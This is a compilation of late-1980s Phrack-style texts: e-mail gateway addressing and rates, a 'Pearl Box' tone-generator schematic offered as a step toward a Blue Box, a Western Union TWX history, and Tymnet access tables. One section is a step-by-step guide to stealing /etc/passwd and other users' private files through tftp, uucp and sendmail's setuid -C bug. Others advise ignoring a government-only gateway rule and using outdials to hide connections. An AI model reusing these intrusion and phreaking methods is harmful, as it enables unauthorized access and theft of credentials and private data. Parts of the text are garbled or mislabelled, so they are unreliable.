Country +TeleDelta TeDe 400 Sweden +OTC MPS400 Australia +Telecom-Canada Envoy100 Canada +DACOM DACOM MHS Korea +P&T-Tele MailNet 400 Finland +Helsinki Telephone Co. ELISA Finland +Dialcom Dialcom USA +Telenet Telemail USA +KDD Messavia Japan +Transpac ATLAS400 France +The interconnections are based on the X.400 standard, a set of guidelines for the format, delivery and receipt of electronic messages +recommended by an international standards committee the CCITT. International X.400 messages incur a surcharge. They are: +To Canada: +Per note: $.05 +Per message unit: $.10 +To other international locations: +Per note: $.20 +Per message unit: $�0 +There is no surcharge for X.400 messages within the US The following are contacts to speak with about mailing through these mentioned +networks. Other questions can be directed through AT&T Mail's toll-free number, 1-800-624-5672. +MHS Gateway: mhs!atlas MHS Gateway: mhs!dacom +Administrator: Bernard Tardieu Administrator: Bob Nicholson +Transpac AT&T +Phone: 3399283203 Morristown, NJ 07960 +Phone: +1 201 644 1838 +MHS Gateway: mhs!dialcom MHS Gateway: mhs!elisa +Administrator: Mr. Laraman Administrator: Ulla +Karajalainen +Dialcom Nokia Data +South Plainfield, NJ 07080 Phone: 01135804371 +Phone: +1 441 493 3843 +MHS Gateway: mhs!envoy MHS Gateway: mhs!kdd +Administrator: Kin C. Ma Administrator: Shigeo Lwase +Telecom Canada Kokusai Denshin Denwa CO. +Phone: +1 613 567 7584 Phone: 8133477419 +MHS Gateway: mhs!mailnet MHS Gateway: mhs!otc +Administrator: Kari Aakala Administrator: Gary W. +Krumbine +Gen Directorate Of Post & AT&T Information Systems +Phone: 35806921730 Lincroft, NJ 07738 +Phone: +1 201 576 2658 +MHS Gateway: mhs!telemail MHS Gateway: mhs +Administrator: Jim Kelsay Administrator: AT&T Mail MHS +GTE Telenet Comm Corp Gateway +Reston, VA 22096 AT&T +Phone: +1 703 689 6034 Lincroft, NJ 08838 +Phone: +1 800 624 5672 +CMR +Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a mail relay service between the Internet and three commercial +electronic mail systems: US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail, NSFMAIL, and USDA -MAIL). +An important note: The only requirement for using this mail gateway is that the work conducted must be DARPA sponsored research and other +approved government business. Basically, this means that unless you've got some government-related business, you're not supposed to be +using this gateway. Regardless, it would be very difficult for them to screen everything that goes through their gateway. Before I understood +the requirements of this gateway, I was sending to a user of MCI-Mail and was not contacted about any problems with that communication. +Unfortunately, I mistyped the MCI-Mail address on one of the letters and that letter ended up getting read by system administrators who then +informed me that I was not to be using that system, as well as the fact that they would like to bill me for using it. That was an interesting +thought on their part anyway, but do note that using this service does incur charges. +The CMR mailbox address in each system corresponds to the label: +Telemail: [Intermail/USCISI]TELEMAIL/USA +MCI-Mail: Intermail or 107-8239 +CompMail: Intermail or CMP0817 +NSF-Mail: Intermail or NSF153 +USDA -Mail: Intermail or AGS9999 +Addressing examples for each e-mail system are as follows: +MCIMAIL: +123-4567 seven digit address +Everett T. Bowens person's name (must be unique!) +COMPMAIL: +CMP0123 three letters followed by three or four digits +S.Cooper initial, then "." and then last name +134:CMP0123 domain, then ":" and then combination system and +account number +NSFMAIL: +NSF0123 three letters followed by three or four digits +A.Phillips initial, then "." and then last name +157:NSF0123 domain, then ":" and then combination system and +account number +USDAMAIL: +AGS0123 three letters followed by three or four digits +P.Shifter initial, then "." and then last name +157:AGS0123 domain, then ":" and then combination system and +account number +TELEMAIL: +BARNOC user (directly on Telemail) +BARNOC/LODH user/organization (directly on Telemail) +[BARNOC/LODH]TELEMAIL/USA +[user/organization]system branch/country +The following are other Telenet system branches/countries that can be mailed to: +TELEMAIL/USA NASAMAIL/USA MAIL/USA TELEMEMO/AUSTRALIA +TELECOM/CANADA TOMMAIL/CHILE TMAILUK/GB ITALMAIL/ITALY +ATI/JAPAN PIPMAIL/ROC DGC/USA FAAMAIL/USA +GSFC/USA GTEMAIL/USA TM11/USA TNET.TELEMAIL/USA +USDA/USA +Note: OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to it, the format would be [A.MAILBOX/OMNET]MAIL/USA. The +following are available subdivisions of OMNET: +AIR Atmospheric Sciences +EARTH Solid Earth Sciences +LIFE Life Sciences +OCEAN Ocean Sciences +POLAR Interdisciplinary Polar Studies +SPACE Space Science and Remote Sensing +The following is a list of DIALCOM systems available in the listed countries with their domain and system numbers: +Service Name Country Domain Number System Number +Keylink-Dialcom Australia 60 07, 08, 09 +Dialcom Canada 20 20, 21, 22, 23, 24 +DPT Databooks Denmark 124 71 +Telebox Finland 127 62 +Telebox West Germany 30 15, 16 +Dialcom Hong Kong 80 88, 89 +Eirmail Ireland 100 74 +Goldnet Israel 50 05, 06 +Mastermail Italy 130 65, 67 +Mastermail Italy 1 66, 68 +Dialcom Japan 70 13, 14 +Dialcom Korea 1 52 +Telecom Gold Malta 100 75 +Dialcom Mexico 1 52 +Memocom Netherlands 124 27, 28, 29 +Memocom Netherlands 1 55 +Starnet New Zealand 64 01, 02 +Dialcom Puerto Rico 58 25 +Telebox Singapore 88 10, 11, 12 +Dialcom Taiwan 1 52 +Telecom Gold United Kingdom 100 01, 04, 17, 80-89 +DIALCOM USA 1 29-34, 37, 38, 41-59, 61-63, 90-99 +NOTE: +You can also mail to username@NASAMAIL.NASA.GOV or username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to +mail to NASAMAIL or GSFCMAIL. +For more information and instructions on how to use CMR, send a message to the user support group at intermail-request@intermail.isi.edu +(you'll get basically what I've listed plus maybe a bit more). Please read Chapter 3 of The Future Transcendent Saga (Limbo to Infinity) for +specifics on mailing to these destination mailing systems. +COMPUSERVE +CompuServe is well known for its games and conferences. It does, though, have mailing capability. Now, they have developed their own +Internet domain, called COMPUSERVE.COM. It is relatively new and mail can be routed through either TUT.CIS.OHIO-STATE.EDU or +NORTHWESTERN.ARPA. +Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA). +The CompuServe link appears to be a polled UUCP connection at the gateway machine. It is actually managed via a set of shell scripts and a +comm utility called xcomm, which operates via command scripts built on the fly by the shell scripts during analysis of what jobs exist to go into +and out of CompuServe. +CompuServe subscriber accounts of the form 7xxxx, yyyy can be addressed as 7xxxx.yyyy@compuserve.com. CompuServe employees can +be addressed by their usernames in the csi.compuserve.com subdomain. CIS subscribers write mail to ">inet:user@host.domain" to mail to +users on the Wide-Area Networks, where ">gateway:" is CompuServe's internal gateway access syntax. The gateway generates fully -RFCcompliant +headers. +To fully extrapolate -- from the CompuServe side, you would use their EasyPlex mail system to send mail to someone in BITNET or the Internet. +For example, to send me mail at my Bitnet ID, you would address it to: +INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU +Or to my Internet ID: +INET:C488869@UMCVMB.MISSOURI.EDU +Now, if you have a BITNET to Internet userid, this is a silly thing to do, since your connect time to CompuServe costs you money. However, you +can use this information to let people on CompuServe contact YOU. CompuServe Customer Service says that there is no charge to either +receive or send a message to the Internet or BITNET. +DASNET +DASnet is a smaller network that connects to the Wide-Area Networks but charges for their service. DASnet subscribers get charged for both +mail to users on other networks AND mail for them from users of other networks. The following is a brief description of DASnet, some of +which was taken from their promotional text letter. +DASnet allows you to exchange electronic mail with people on more than 20 systems and networks that are interconnected with DASnet. One +of the drawbacks, though, is that, after being subscribed to these services, you must then subscribe to DASnet, which is a separate cost. +Members of Wide-Area networks can subscribe to DASnet too. Some of the networks and systems reachable through DASnet include the +following: +ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network, Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI, +PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source, Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, +UUCP, The WELL, and Domains (i.e. ".COM" and ".EDU" etc.). New systems are added all of the time. As of the writing of this file, Connect, +GoverNET, MacNET, and The American Institute of Physics PI-MAIL are soon to be connected. +You can get various accounts on DASnet including: + Corporate Accounts -- If your organization wants more than one individual subscription. + Site Subscriptions -- If you want DASnet to link direc tly to your organization's electronic mail system. +To send e-mail through DASnet, you send the message to the DASnet account on your home system. You receive e-mail at your mailbox, as +you do now. On the Wide-Area Networks, you send mail to XB.DAS@STANFORD.BITNET. On the Subject: line, you type the DASnet address in +brackets and then the username just outside of them. The real subject can be expressed after the username separated by a "!" (Example: +Subject: [0756TK]randy!How's Phrack?). +The only disadvantage of using DASnet as opposed to Wide-Area networks is the cost. Subscription costs as of 3/3/89 cost $4.75 per month +or $5.75 per month for hosts that are outside of the USA +You are also charged for each message that you send. If you are corresponding with someone who is not a DASnet subscriber, THEIR MAIL +TO YOU is billed to your account. +The following is an abbreviated cost list for mailing to the different services of DASnet: +PARTIAL List DASnet Cost DASnet Cost +of Services 1st 1000 Each Additional 1000 +Linked by DASnet (e-mail) Characters Characters: +INET, MacNET, PeaceNet, NOTE: 20 lines +Unison, UUCP*, Domains, .21 .11 of text is app. +e.g. .COM, .EDU* 1000 characters. +Dialcom--Any "host" in US .36 .25 +Dialcom--Hosts outside US .93 .83 +EasyLink (From EasyLink) .21 .11 +(To EasyLink) �5 .23 +US FAX (international avail.) .79 .37 +GeoMail--Any "host" in US .21 .11 +GeoMail--Hosts outside US .74 .63 +MCI (from MCI) .21 .11 +(to MCI) .78 .25 +(Paper mail - USA) 2.31 .21 +Telemail .36 .25 +W.U. Telex--United States 1.79 1.63 +(You can also send Telexes outside the US) +TWICS--Japan .89 .47 +* The charges given here are to the gateway to the network. The DASnet user is not charged for transmission on the network itself. +Subscribers to DASnet get a free DASnet Network Directory as well as a listing in the directory, and the ability to order optional DASnet +services like auto-porting or DASnet Telex Service which gives you your own Telex number and answerback for $8.40 a month at this time. +DASnet is a registered trademark of DA Systems, Inc. +DA Systems, Inc. +1503 E. Campbell Ave. +Campbell, CA 95008 +408-559-7434 +TELEX: 910 380-3530 +The following two sections on PeaceNet and AppleLink are in association with DASnet as this network is what is used to connect. +125. Phrack Magazine - Vol. 3, Issue 28 by Dispater +Introduction: +After reading the earlier renditions of schematics for the Pearl Box, I decided that there was an easier and cheaper way of doing the same +thing with an IC and parts you probably have just laying around the house. +What Is A Pearl Box and Why Do I Want One? +A Pearl Box is a tone generating device that is used to make a wide range of single tones. Therefore, it would be very easy to modify this +basic design to make a Blue Box by making 2 Pearl Boxes and joining them together in some fashion. +A Pearl Box can be used to create any tone you wish that other boxes may not. It also has a tone sweep option that can be used for +numerous things like detecting different types of phone tapping devices. +Parts List: + CD4049 RCA integrated circuit + .1 uF disk capacitor + 1 uF 16V electrolitic capacitor + 1K resistor + 10M resistor + 1Meg pot + 1N914 diode + Some SPST momentary push-button switches + 1 SPDT toggle switch + 9 Volt battery & clip and miscellaneous stuff you should have laying around the house. +State-of-the-Art-Text Schematic: ++ 16V 1uF - +_______________________________||_____ +| ! ! || | _ +| _______________________ |__________| |/| 8ohms +____|__|_____:__|__:__|_ | __________| | | +| 9 10 11 12 13 14 15 16 | | | |_|\| +| CD4049UBE | | | +|_1__2__3__4__5__6__7__8_| : | _ +| | |__| |__| | |____________________|_________[-] +| | ! ! : [b] +| |__________________________| [a] +| : : | [t] +| ! 1N914 ! ! [t] +|___________|/|_____________________________________[+] +: |\| : : +| | | +| 10M | | +|___/\/\/\__| | +| | | +|_____||____| | <-- These 2 wires to the center pole +|| | | of switch. +.1uF 50V | | +| | +_______________________| |_____________________________ +| ___[Toggle Switch]____________ | +| | | ___ | +| | | o o | +| | | /\/\/\___| |__| +|_/\/\/\____/\/\/\ | | ^ | +1K ^ | |____| ___ | +|___| | o o | +| /\/\/\___| |__| +126. Phrack Magazine - Vol. 3, Issue 28 by Dark OverLord +There are many ways of getting copies of files from a remote system that you do not have permission to read or an account on login on to and +access them through. Many administrators do not even bother to restrict many access points that you can use. +Here are the simplest ways: +1.Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy of a file if you are running on an Internet based network. +2.Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file if uucp connections are running on that system. +3.Access one of many known security loopholes. +In the following examples, we will use the passwd file as the file to acquire since it is a readable file that can be found on most systems that +these attacks are valid on. +Method A : +1.First start the tftp program: +Enter the command: +tftp +[You have the following prompt:] +tftp> +2.The next step is to connect to the system that you wish to retrieve files from. At the tftp, type: +tftp> connect other.system.com +3.Now request the file you wish to get a copy of (in our case, the passwd file /etc/passwd ): +tftp> get /etc/passwd /tmp/passwd +[You should see something that looks like the following:] +Received 185659 bytes in 22 seconds. +4.Now exit the tftp program with the "quit" command: +tftp> quit +You should now have a copy of other.system.com's passwd file in your directory. +NOTE: Some Unix systems' tftp programs have a different syntax. The above was tested under SunOS 4.0 +For example, on Apollos, the syntax is: +tftp -{g|g!|p|r|w} [netascii|image] +Thus you must use the command: +tftp -g password_file networked-host /etc/passwd +Consult your local "man" pages for more info (or in other words RTFM). +At the end of this article, I will include a shell script that will snarf a password file from a remote host. To use it type: +gpw system_name +Method B : +Assuming we are getting the file /etc/passwd from the system uusucker, and our system has a direct uucp connection to that system, it is +possible to request a copy of the file through the uucp links. The following command will request that a copy of the passwd file be copied into +uucp's home directory /usr/spool/uucppublic : +uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd' +The flag "-m" means you will be notified by mail when the transfer is completed. +Method C: +The third possible way to access the desired file requires that you have the login permission to the system. +In this case we will utilize a well-known bug in Unix's sendmail daemon. +The sendmail program has and option "-C" in which you can specify the configuration file to use (by default this file is /usr/lib/sendmail.cf or +/etc/sendmail.cf). It should also be noted that the diagnostics outputted by sendmail contain the offending lines of text. Also note that the +sendmail program runs setuid root. +The way you can abuse this set of facts (if you have not yet guessed) is by specifying the file you wish read as the configuration file. Thus +the command: +sendmail -C/usr/accounts/random_joe/private/file +Will give you a copy of random joe's private file. +Another similar trick is to symlink your .mailcf file to joe's file and mail someone. When mail executes sendmail (to send the mail), it will load in +your mailcf and barf out joe's stuff. +First, link joe's file to your .mailcf . +ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf +Next, send mail to someone. +mail C488869@umcvmb.missouri.edu +127.Phrack Magazine - Vol. 3, Issue 30 by Phone Phanatic +"Until a few years ago -- maybe ten -- it was very common to +see TWX and Telex machines in almost every business place." +There were only minor differences between Telex and TWX. The biggest difference was that the former was always run by Western Union, +while the latter was run by the Bell System for a number of years. TWX literally meant "(T)ype(W)riter e(x)change," and it was Bell's answer +to competition from Western Union. There were "three row" and "four row" machines, meaning the number of keys on the keyboard and how +they were laid out. The "three row" machines were simply part of the regular phone network; that is, they could dial out and talk to another +TWX also connected on regular phone lines. +Eventually these were phased out in favor of "newer and more improved" machines with additional keys, as well as a paper tape reader +attachment which allowed sending the same message repeatedly to many different machines. These "four row" machines were not on the +regular phone network, but were assigned their own area codes (410-510-610-710-810-910) where they still remain today. The only way a +four row machine could call a three row machine or vice-versa was through a gateway of sorts which translated some of the character set +unique to each machine. +Western Union's network was called Telex and in addition to being able to contact (by dial up) other similar machines, Telex could connect with +TWX (and vice-versa) as well as all the Western Union public offices around the country. Until the late 1950's or early 1960's, every small +town in America had a Western Union office. Big cities like Chicago had perhaps a dozen of them, and they used messengers to hand deliver +telegrams around town. Telegrams could be placed in person at any public office, or could be called in to the nearest public office. +By arrangement with most telcos, the Western Union office in town nearly always had the phone number 4321, later supplemented in +automated exchanges with some prefix XXX-4321. Telegrams could be charged to your home phone bill (this is still the case in some +communities) and from a coin phone, one did not ask for 4321, but rather, called the operator and asked for Western Union. This was +necessary since once the telegram had been given verbally to the wire clerk, s/he in turn had to flash the hook and get your operator back on +the line to tell them "collect five dollars and twenty cents" or whatever the cost was. Telegrams, like phone calls, could be sent collect or billed +third party. If you had an account with Western Union, i.e. a Telex machine in your office, you could charge the calls there, but most likely you +would simply send the telegram from there in the first place. +Sometime in the early 1960's, Western Union filed suit against AT&T asking that they turn over their TWX business to them. They cited an earlier +court ruling, circa 1950's, which said AT&T was prohibited from acquiring any more telephone operating companies except under certain +conditions. The Supreme Court agreed with Western Union that "spoken messages" were the domain of Ma Bell, but "written messages" were +the domain of Western Union. So Bell was required to divest itself of the TWX network, and Western Union has operated it since, although a +few years ago they began phasing out the phrase "TWX" in favor of "Telex II"; their original device being "Telex I" of course. TWX still uses ten +digit dialing with 610 (Canada) or 710/910 (USA) being the leading three digits. Apparently 410-510 have been abandoned; or at least they are +used very little, and Bellcore has assigned 510 to the San Francisco area starting in a year or so. 410 still has some funny things on it, like the +Western Union "Infomaster," which is a computer that functions like a gateway between Telex, TWX, EasyLink and some other stuff. +Today, the Western Union network is but a skeleton of its former self. Now most of their messages are handled on dial up terminals connected +to the public phone network. It has been estimated the TWX/Telex business is about fifty percent of what it was a decade ago, if that much. +Then there was the Time Service, a neat thing which Western Union offered for over seventy years, until it was discontinued in the middle +1960's. The Time Service provided an important function in the days before alternating current was commonly available. For example, Chicago +didn't have AC electricity until about 1945. Prior to that we used DC, or direct current. +Well, to run an electric clock, you need 60 cycles AC current for obvious reasons, so prior to the conversion from DC power to AC power, +electric wall clocks such as you see in every office were unheard of. How were people to tell the time of day accurately? Enter the Western +Union clock. +The Western Union, or "telegraph clock" was a spring driven wind up clock, but with a difference. The clocks were "perpetually self-winding," +manufactured by the Self-Winding Clock Company of New York City. They had large batteries inside them, known as "telephone cells" which +had a life of about ten years each. A mechanical contrivance in the clock would rotate as the clock spring unwound, and once each hour +would cause two metal clips to contact for about ten seconds, which would pass juice to the little motor in the clock which in turn re-wound +the main spring. The principle was the same as the battery operated clocks we see today. The battery does not actually run the clock -- direct +current can't do that -- but it does power the tiny motor which re-winds the spring which actually drives the clock. +The Western Union clocks came in various sizes and shapes, ranging from the smallest dials which were nine inches in diameter to the largest +which were about eighteen inches in diameter. Some had sweep second hands; others did not. Some had a little red light bulb on the front +which would flash. The typical model was about sixteen inches, and was found in offices, schools, transportation depots, radio station +offices, and of course in the telegraph office itself. +The one thing all the clocks had in common was their brown metal case and cream-colored face, with the insignia "Western Union" and their +corporate logo in those days which was a bolt of electricity, sort of like a letter "Z" laying on its side. And in somewhat smaller print below, the +words "Naval Observatory Time." +The local clocks in an office or school or wherever were calibrated by a "master clock" (actually a sub-master) on the premises. Once an hour +on the hour, the (sub) master clock would drop a metal contact for just a half second, and send about nine volts DC up the line to all the local +clocks. They in turn had a "tolerance" of about two minutes on both sides of the hour so that the current coming to them would yank the minute +hand exactly upright onto the twelve from either direction if the clock was fast or slow. +The sub-master clocks in each building were in turn serviced by the master clock in town; usually this was the one in the telegraph office. +Every hour on the half hour, the master clock in the telegraph office would throw current to the sub-masters, yanking them into synch as +required. And as for the telegraph offices themselves, they were serviced twice a day by -- you guessed it -- the Naval Observatory Master +clock in Our Nation's Capitol, by the same routine. +Someone there would press half a dozen buttons at the same time, using all available fingers; current would flow to every telegraph office and +synch all the master clocks in every community. Western Union charged fifty cents per month for the service, and tossed the clock in for free! +Oh yes, there was an installation charge of about two dollars when you first had service (i.e. a clock) installed. +The clocks were installed and maintained by the "clockman," a technician from Western Union who spent his day going around hanging new +clocks, taking them out of service, changing batteries every few years for each clock, etc. +What a panic it was for them when "war time" (what we now call Daylight Savings Time) came around each year! Wally, the guy who +serviced all the clocks in downtown Chicago had to start on *Thursday* before the Sunday official changeover just to finish them all by +*Tuesday* following. He would literally rush in an office, use his screwdriver to open the case, twirl the hour hand around one hour forward in +the spring, (or eleven hours *forward* in the fall since the hands could not be moved backward beyond the twelve going counterclockwise), +slam the case back on, screw it in, and move down the hall to the next clock and repeat the process. He could finish several dozen clocks per +day, and usually the office assigned him a helper twice a year for these events. +He said they never bothered to line the minute hand up just right, because it would have taken too long, and ".....anyway, as long as we got it +within a minute or so, it would synch itself the next time the master clock sent a signal..." Working fast, it took a minute to a minute and a half to +open the case, twirl the minute hand, put the case back on, "stop and BS with the receptionist for a couple seconds" and move along. +The master clock sent its signal over regular telco phone lines. Usually it would terminate in the main office of whatever place it was, and the +(sub) master there would take over at that point. +Wally said it was very important to do a professional job of hanging the clock to begin with. It had to be level, and the pendulum had to be just +right, otherwise the clock would gain or lose more time than could be accommodated in the hourly synching process. He said it was a very +rare clock that actually was out by even a minute once an hour, let alone the two minutes of tolerance built into the gear works. +"...Sometimes I would come to work on Monday morning, and find out in the office that the clock line had gone open Friday evening. So nobody +all weekend got a signal. Usually I would go down a manhole and find it open someplace where one of the Bell guys messed it up, or took it off +and never put it back on. To find out where it was open, someone in the office would 'ring out' the line; I'd go around downtown following the +loop as we had it laid out, and keep listening on my headset for it. When I found the break or the open, I would tie it down again and the office +would release the line; but then I had to go to all the clocks *before* that point and restart them, since the constant current from the office +during the search had usually caused them to stop." +But he said, time and again, the clocks were usually so well mounted and hung that "...it was rare we would find one so far out of synch that +we had to adjust it manually. Usually the first signal to make it through once I repaired the circuit would yank everyone in town to make up for +whatever they lost or gained over the weekend..." +In 1965, Western Union decided to discontinue the Time Service. In a nostalgic letter to subscribers, they announced their decision to suspend +operations at the end of the current month, but said "for old time's sake" anyone who had a clock was welcome to keep it and continue using it; +there just would not be any setting signals from the master clocks any longer. +Within a day or two of the official announcement, every Western Union clock in the Chicago area headquarters building was gone. The +executives snatched them off the wall, and took them home for the day when they would have historical value. All the clocks in the telegraph +offices disappeared about the same time, to be replaced with standard office-style electric wall clocks. +128.Phrack Magazine - Vol. 3, Issue 30 by Synthecide +There are literally hundreds of systems connected to some of these larger networks, like Tymnet and Telenet. Navigation around these +networks is very simple, and usually well explained in their on-line documentation. Furthermore, some systems will actually tell you what is +connected and how to get to it. In the case of Tymnet, after dialing in, at the log in prompt, type "information" for the on-line documentation. +Accessing systems through networks is as simple as providing an address for it to connect to. The best way to learn about the addresses +and how to do things on a network is to read "A Novice's Guide to Hacking (1989 Edition)" which was in Issue 22, File 4 of 12, Volume Two +(December 23, 1988). Some points are reiterated here. +Once on a network, you provide the NUA (network user address) of the system you wish to connect to. NUAs are strings of 15 digits, broken +up in to 3 fields, the NETWORK ADDRESS, the AREA PREFIX, and the DNIC. Each field has 5 digits, and are left padded with 0's where +necessary. +The DNIC determines which network to take the address from. Tymnet, for example, is 03106. 03110 is Telenet. +The AREA PREFIX and NETWORK ADDRESS determine the connection point. By providing the address of the system that you wish to connect +to, you will be accessing it through the net... as if you were calling it directly. Obviously, then, this provides one more level of security for +access. By connecting to an outdial, you can increase again the level of security you enjoy, by using the outdial in that area to connect to the +remote system. +Addendum -- Accessing Tymnet Over Local Packet Networks +This is just another way to get that extra step and/or bypass other routes. This table is copied from Tymnet's on-line information. As said +earlier, it's a great resource, this on-line information! +BELL ATLANTIC +NODE CITY STATE SPEED ACCESS NUMBER NETWORK +03526 DOVER DELAWARE 300/2400 302/734-9465 @PDN +03526 GEORGETOWN DELAWARE 300/2400 302/856-7055 @PDN +03526 NEWARK DELAWARE 300/2400 302/366-0800 @PDN +03526 WILMINGTON DELAWARE 300/1200 302/428-0030 @PDN +03526 WILMINGTON DELAWARE 2400 302/655-1144 @PDN +06254 WASHINGTON DIST. OF COL. 300/1200 202/479-7214 @PDN +06254 WASHINGTON(MIDTOWN) DIST. OF COL. 2400 202/785-1688 @PDN +06254 WASHINGTON(DOWNTOWN) DIST. OF COL. 300/1200 202/393-6003 @PDN +06254 WASHINGTON(MIDTOWN) DIST. OF COL. 300/1200 202/293-4641 @PDN +06254 WASHINGTON DIST. OF COL. 300/1200 202/546-5549 @PDN +06254 WASHINGTON DIST. OF COL. 300/1200 202/328-0619 @PDN +06254 BETHESDA MARYLAND 300/1200 301/986-9942 @PDN +06254 COLESVILLE MARYLAND 300/2400 301/989-9324 @PDN +06254 HYATTSVILLE MARYLAND 300/1200 301/779-9935 @PDN +06254 LAUREL MARYLAND 300/2400 301/490-9971 @PDN +06254 ROCKVILLE MARYLAND 300/1200 301/340-9903 @PDN +06254 SILVER SPRING MARYLAND 300/1200 301/495-9911 @PDN +07771 BERNARDSVILLE NEW JERSEY 300/2400 201/766-7138 @PDN +07771 CLINTON NEW JERSEY 300-1200 201/730-8693 @PDN +07771 DOVER NEW JERSEY 300/2400 201/361-9211 @PDN +07771 EATONTOWN/RED BANK NEW JERSEY 300/2400 201/758-8000 @PDN +07771 ELIZABETH NEW JERSEY 300/2400 201/289-5100 @PDN +07771 ENGLEWOOD NEW JERSEY 300/2400 201/871-3000 @PDN +07771 FREEHOLD NEW JERSEY 300/2400 201/780-8890 @PDN +07771 HACKENSACK NEW JERSEY 300/2400 201/343-9200 @PDN +07771 JERSEY CITY NEW JERSEY 300/2400 201/659-3800 @PDN +07771 LIVINGSTON NEW JERSEY 300/2400 201/533-0561 @PDN +07771 LONG BRANCH/RED BANK NEW JERSEY 300/2400 201/758-8000 @PDN +07771 MADISON NEW JERSEY 300/2400 201/593-0004 @PDN +07771 METUCHEN NEW JERSEY 300/2400 201/906-9500 @PDN +07771 MIDDLETOWN NEW JERSEY 300/2400 201/957-9000 @PDN +07771 MORRISTOWN NEW JERSEY 300/2400 201/455-0437 @PDN +07771 NEWARK NEW JERSEY 300/2400 201/623-0083 @PDN +07771 NEW BRUNSWICK NEW JERSEY 300/2400 201/247-2700 @PDN +07771 NEW FOUNDLAND NEW JERSEY 300/2400 201/697-9380 @PDN +07771 PASSAIC NEW JERSEY 300/2400 201/473-6200 @PDN +07771 PATERSON NEW JERSEY 300/2400 201/345-7700 @PDN +07771 PHILLIPSBURG NEW JERSEY 300/2400 201/454-9270 @PDN +07771 POMPTON LAKES NEW JERSEY 300/2400 201/835-8400 @PDN +07771 RED BANK NEW JERSEY 300/2400 201/758-8000 @PDN +07771 RIDGEWOOD NEW JERSEY 300/2400 201/445-4800 @PDN +07771 SOMERVILLE NEW JERSEY 300/2400 201/218-1200 @PDN +07771 SOUTH RIVER NEW JERSEY 300/2400 201/390-9100 @PDN +07771 SPRING LAKE NEW JERSEY 300/2400 201/974-0850 @PDN +07771 TOMS RIVER NEW JERSEY 300/2400 201/286-3800 @PDN +07771 WASHINGTON NEW JERSEY 300/2400 201/689-6894 @PDN +07771 WAYNE/PATERSON NEW JERSEY 300/2400 201/345-7700 @PDN +03526 ALLENTOWN PENNSYLVANIA 300/1200 215/435-0266 @PDN +11301 ALTOONA PENNSYLVANIA 300/1200 814/946-8639 @PDN +11301 ALTOONA PENNSYLVANIA 2400 814/949-0505 @PDN +03526 AMBLER PENNSYLVANIA 300/1200 215/283-2170 @PDN +10672 AMBRIDGE PENNSYLVANIA 300/1200 412/266-9610 @PDN +10672 CARNEGIE PENNSYLVANIA 300/1200 412/276-1882 @PDN +10672 CHARLEROI PENNSYLVANIA 300/1200 412/483-9100 @PDN +03526 CHESTER HEIGHTS PENNSYLVANIA 300/1200 215/358-0820 @PDN +03526 COATESVILLE PENNSYLVANIA 300/1200 215/383-7212 @PDN +10672 CONNELLSVILLE PENNSYLVANIA 300/1200 412/628-7560 @PDN +03526 DOWNINGTON/COATES. PENNSYLVANIA 300/1200 215/383-7212 @PDN +03562 DOYLESTOWN PENNSYLVANIA 300/1200 215/340-0052 @PDN +03562 GERMANTOWN PENNSYLVANIA 300/1200 215-843-4075 @PDN +10672 GLENSHAW PENNSYLVANIA 300/1200 412/487-6868 @PDN +10672 GREENSBURG PENNSYLVANIA 300/1200 412/836-7840 @PDN +11301 HARRISBURG PENNSYLVANIA 300/1200 717/236-3274 @PDN +11301 HARRISBURG PENNSYLVANIA 2400 717/238-0450 @PDN +10672 INDIANA PENNSYLVANIA 300/1200 412/465-7210 @PDN +03526 KING OF PRUSSIA PENNSYLVANIA 300/1200 215/270-2970 @PDN +03526 KIRKLYN PENNSYLVANIA 300/1200 215/789-5650 @PDN +03526 LANSDOWNE PENNSYLVANIA 300/1200 215/626-9001 @PDN +10672 LATROBE PENNSYLVANIA 300/1200 412/537-0340 @PDN +11301 LEMOYNE/HARRISBURG PENNSYLVANIA 300/1200 717/236-3274 @PDN +10672 MCKEESPORT PENNSYLVANIA 300/1200 412/673-6200 @PDN +10672 NEW CASTLE PENNSYLVANIA 300/1200 412/658-5982 @PDN +10672 NEW KENSINGTON PENNSYLVANIA 300/1200 412/337-0510 @PDN +03526 NORRISTOWN PENNSYLVANIA 300/1200 215/270-2970 @PDN +03526 PAOLI PENNSYLVANIA 300/1200 215/648-0010 @PDN +03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/923-7792 @PDN +03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/557-0659 @PDN +03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/545-7886 @PDN +03562 PHILADELPHIA PENNSYLVANIA 300/1200 215/677-0321 @PDN +03562 PHILADELPHIA PENNSYLVANIA 2400 215/625-0770 @PDN +10672 PITTSBURGH PENNSYLVANIA 300/1200 412/281-8950 @PDN +10672 PITTSBURGH PENNSYLVANIA 300/1200 412-687-4131 @PDN +10672 PITTSBURGH PENNSYLVANIA 2400 412/261-9732 @PDN +10672 POTTSTOWN PENNSYLVANIA 300/1200 215/327-8032 @PDN +03526 QUAKERTOWN PENNSYLVANIA 300/1200 215/538-7032 @PDN +03526 READING PENNSYLVANIA 300/1200 215/375-7570 @PDN +10672 ROCHESTER PENNSYLVANIA 300/1200 412/728-9770 @PDN +03526 SCRANTON PENNSYLVANIA 300/1200 717/348-1123 @PDN +03526 SCRANTON PENNSYLVANIA 2400 717/341-1860 @PDN +10672 SHARON PENNSYLVANIA 300/1200 412/342-1681 @PDN +03526 TULLYTOWN PENNSYLVANIA 300/1200 215/547-3300 @PDN +10672 UNIONTOWN PENNSYLVANIA 300/1200 412/437-5640 @PDN +03562 VALLEY FORGE PENNSYLVANIA 300/1200 215/270-2970 @PDN +10672 WASHINGTON PENNSYLVANIA 300/1200 412/223-9090 @PDN +03526 WAYNE PENNSYLVANIA 300/1200 215/341-9605 @PDN +10672 WILKINSBURG 